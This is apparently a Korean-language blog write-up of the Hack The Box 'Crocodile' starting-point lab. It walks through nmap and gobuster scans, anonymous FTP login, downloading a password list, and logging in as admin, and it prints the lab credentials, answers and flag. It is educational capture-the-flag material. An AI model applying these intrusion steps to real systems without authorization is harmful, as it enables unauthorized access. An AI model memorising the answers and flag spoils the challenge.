▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier1 Crocodile


Task 1

What Nmap scanning switch employs the use of default scripts during a scan? Nmap 스캔에서 기본 스크립트를 사용하도록 하는 옵션은 무엇인가요?

nmap 스캔에서 기본 스크립트를 사용하려면 -sC 옵션을 사용하면 됩니다.

Task 2

What service version is found to be running on port 21? 21번 포트에서 실행 중인 서비스 버전은 무엇인가요?

21번 포트에서 실행 중인 서비스와 서비스의 버전을 확인하기 위해 nmap 스캐닝을 해봅니다.

┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.1.15 -p 21 -sC -sV -n -Pn --min-rate 2000 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 14:16 +0900
Nmap scan report for 10.129.1.15
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.16
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.44 seconds

스캔 결과 tcp/21 포트에서는 ftp 서비스가 실행중이었으며, 버전은 vsftpd 3.0.3 입니다.

Task 3

What FTP code is returned to us for the “Anonymous FTP login allowed” message? “Anonymous FTP login allowed” 메시지에 대해 반환되는 FTP 코드는 무엇인가요?

Task 2에서 기본 스크립트로 스캐닝한 결과를 보면, Anonymous FTP login allowed 즉, 익명 로그인이 가능하다는 결과을 알 수 있습니다. 또한 익명 로그인의 성공했을 경우 FTP 응답 코드로 230 을 내보내는 것을 알 수 있습니다.

이는 직접 접속해서도 확인해볼 수 있습니다.

ftp에 접속하기 위해서는 ftp client 명령줄인 ftp를 이용하면 됩니다.

ftp <username>@<ip>:<port>

username의 경우 따로 지정하지 않으면 접속할 때 이를 물어보는 문구가 나오게 됩니다.

port는 지정하지 않을 경우 ftp의 기본 포트인 21으로 접속을 시도합니다.

┌──(kali㉿kali)-[~]
└─$ ftp anonymous@10.129.1.15
Connected to 10.129.1.15.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

anonymous로 접속을 시도하니 Login seccessful 이라는 문구가 반환되었고, 코드로 230을 받을 것을 확인할 수 있습니다.

Task 4

After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously? FTP 클라이언트를 사용해 서버에 접속한 후, 익명 로그인 시 어떤 사용자 이름을 입력해야 하나요?

이전 Task에서 확인했 듯 anonymous 이름을 통해 접속이 가능합니다.

Task 5

After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server? 익명으로 FTP 서버에 접속한 후, 서버에서 발견한 파일을 다운로드할 때 사용하는 명령어는 무엇인가요?

ftp 서버에 접속하면 help 명령어를 통해 도움말을 확인할 수 있습니다.

그 중에서 ls 또는 dir 명령은 ftp 내부에 존재하는 파일들을 확인 할 수 있습니다.

ftp> dir
229 Entering Extended Passive Mode (|||43523|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.

파일을 확인해보면, user와 password가 담겼을 것으로 의심되는 파일을 발견할 수 있습니다.

해당 파일을 다운 받기 위해서는 get 명령을 사용하면 됩니다.

get <filename> 으로 다운 받은 파일은 ftp로 접속하는 시점에 위치했던 디렉터리 경로에 해당 파일이 다운로드 되게 됩니다.

ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||40704|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |***********************************************************|    62      182.36 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (0.23 KiB/s)
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||45136|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |*********************************************************************************************************************************************************************|    33      262.00 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.11 KiB/s)

다운로드를 완료했다면 quit 명령으로 접속을 종료합니다.

Task 6

What is one of the higher-privilege sounding usernames in ‘allowed.userlist’ that we download from the FTP server? FTP 서버에서 다운로드한 allowed.userlist 파일에 있는 사용자 이름 중, 더 높은 권한을 가진 것처럼 보이는 사용자 이름은 무엇인가요?

확인을 위해 다운받은 allowed.userlist 파일을 호스트에서 읽어봅니다.

┌──(kali㉿kali)-[~]
└─$ cat allowed.userlist                          
aron
pwnmeow
egotisticalsw
admin

admin이 목록 중에서는 가장 높은 권한을 가진 사용자임을 짐작할 수 있습니다.

allowed.userlist.passwd 도 확인해보면,

┌──(kali㉿kali)-[~]
└─$ cat allowed.userlist.passwd 
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

userlist의 admin이 이 위치한 4번째 줄에서 password도 구할 수 있습니다.

  • credential

    admin : rKXM59ESxesUFHAd

Task 7

What version of Apache HTTP Server is running on the target host? 대상 호스트에서 실행 중인 Apache HTTP Server의 버전은 무엇인가요?

Apache HTTP Server가 실행 중인 포트를 찾기 위해 nmap으로 스캐닝을 해봅니다.

┌──(kali㉿kali)-[~]                                                                                                                                                                                               
└─$ sudo nmap 10.129.1.15 -p- -sC -sV -n -Pn --open --min-rate 2000                                                                                                                                               
[sudo] password for kali:                                                                                                                                                                                         
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 14:14 +0900                                                                                                                                                 
Nmap scan report for 10.129.1.15                                                                                                                                                                                  
Host is up (0.27s latency).                                                                                                                                                                                       
Not shown: 64102 closed tcp ports (reset), 1431 filtered tcp ports (no-response)                                                                                                                                  
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit                                                                                                                                       
PORT   STATE SERVICE VERSION                                                                                                                                                                                      
21/tcp open  ftp     vsftpd 3.0.3                                                                                                                                                                                 
| ftp-syst:                                                                                                                                                                                                       
|   STAT:                                                                                                                                                                                                         
| FTP server status:                                                                                                                                                                                              
|      Connected to ::ffff:10.10.15.16                                                                                                                                                                            
|      Logged in as ftp                                                                                                                                                                                           
|      TYPE: ASCII                                                                                                                                                                                                
|      No session bandwidth limit                                                                                                                                                                                 
|      Session timeout in seconds is 300                                                                                                                                                                          
|      Control connection is plain text                                                                                                                                                                           
|      Data connections will be plain text                                                                                                                                                                        
|      At session startup, client count was 1                                                                                                                                                                     
|      vsFTPd 3.0.3 - secure, fast, stable                                                                                                                                                                        
|_End of status                                                                                                                                                                                                   
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                                                                                                                                            
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist                                                                                                                                        
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd                                                                                                                                 
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))                                                                                                                                                               
|_http-title: Smash - Bootstrap Business Template                                                                                                                                                                 
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                                                                      
Service Info: OS: Unix                                                                                   
                                                                                                         
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .           
Nmap done: 1 IP address (1 host up) scanned in 60.98 seconds

스캔 결과 Apache HTTP Server는 tcp/80 포트에서 동작하고 있고, 버전은 Apache httpd 2.4.41 ((Ubuntu)) 임을 확인할 수 있습니다.

Task 8

What switch can we use with Gobuster to specify we are looking for specific filetypes? Gobuster에서 특정 파일 타입을 찾도록 지정할 때 사용하는 옵션은 무엇인가요?

gobuster의 도움말을 확인해보면, -x 옵션을 이용해 특정 파일 타입의 페이지를 찾을 수 있음을 알 수 있습니다.

  • -x : 확장자(Extension)를 지정하는 기능으로, 디렉터리/파일 브루트포스 시 워드리스트의 단어 뒤에 특정 확장자를 붙여서 같이 찾게 해줍니다.

Task 9

Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service? 디렉터리 브루트포스를 통해 확인할 수 있으며, 웹 서비스에 인증할 수 있는 기회를 제공하는 PHP 파일은 무엇인가요?

문제에서 php 파일을 물어보고 있으니 php를 확장자로 하는 파일을 gobuster를 통해 찾아봅니다.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.129.1.15/ -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.1.15/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 276]
.hta.php             (Status: 403) [Size: 276]
.htaccess            (Status: 403) [Size: 276]
.htpasswd.php        (Status: 403) [Size: 276]
.htaccess.php        (Status: 403) [Size: 276]
.htpasswd            (Status: 403) [Size: 276]
assets               (Status: 301) [Size: 311] [--> http://10.129.1.15/assets/]
config.php           (Status: 200) [Size: 0]
css                  (Status: 301) [Size: 308] [--> http://10.129.1.15/css/]
dashboard            (Status: 301) [Size: 314] [--> http://10.129.1.15/dashboard/]
fonts                (Status: 301) [Size: 310] [--> http://10.129.1.15/fonts/]
index.html           (Status: 200) [Size: 58565]
js                   (Status: 301) [Size: 307] [--> http://10.129.1.15/js/]
login.php            (Status: 200) [Size: 1577]
logout.php           (Status: 302) [Size: 0] [--> login.php]

그러면 login.php 파일이 응답 상태 코드 200으로 접근이 가능하다는 것을 볼 수 있습니다.

문제에서 요구하는 웹 서비스에 인증할 수 있는 기회를 제공하는 PHP 파일은 login.php 입니다.

브라우저로 접속해보면,

alt text

이렇게 로그인 페이지가 나오게 됩니다.

Submit Flag

Submit root flag

login.php 에서 아까 얻은 admin 계정 정보를 이용하여 로그인을 해보면,

alt text

alt text

admin 유저로 성공적으로 로그인을 할 수 있고, Dashboard에서 flag 또한 확인할 수 있습니다.

Flag : c7110277ac44d78b6a9fff2232434d16


← ALL POSTS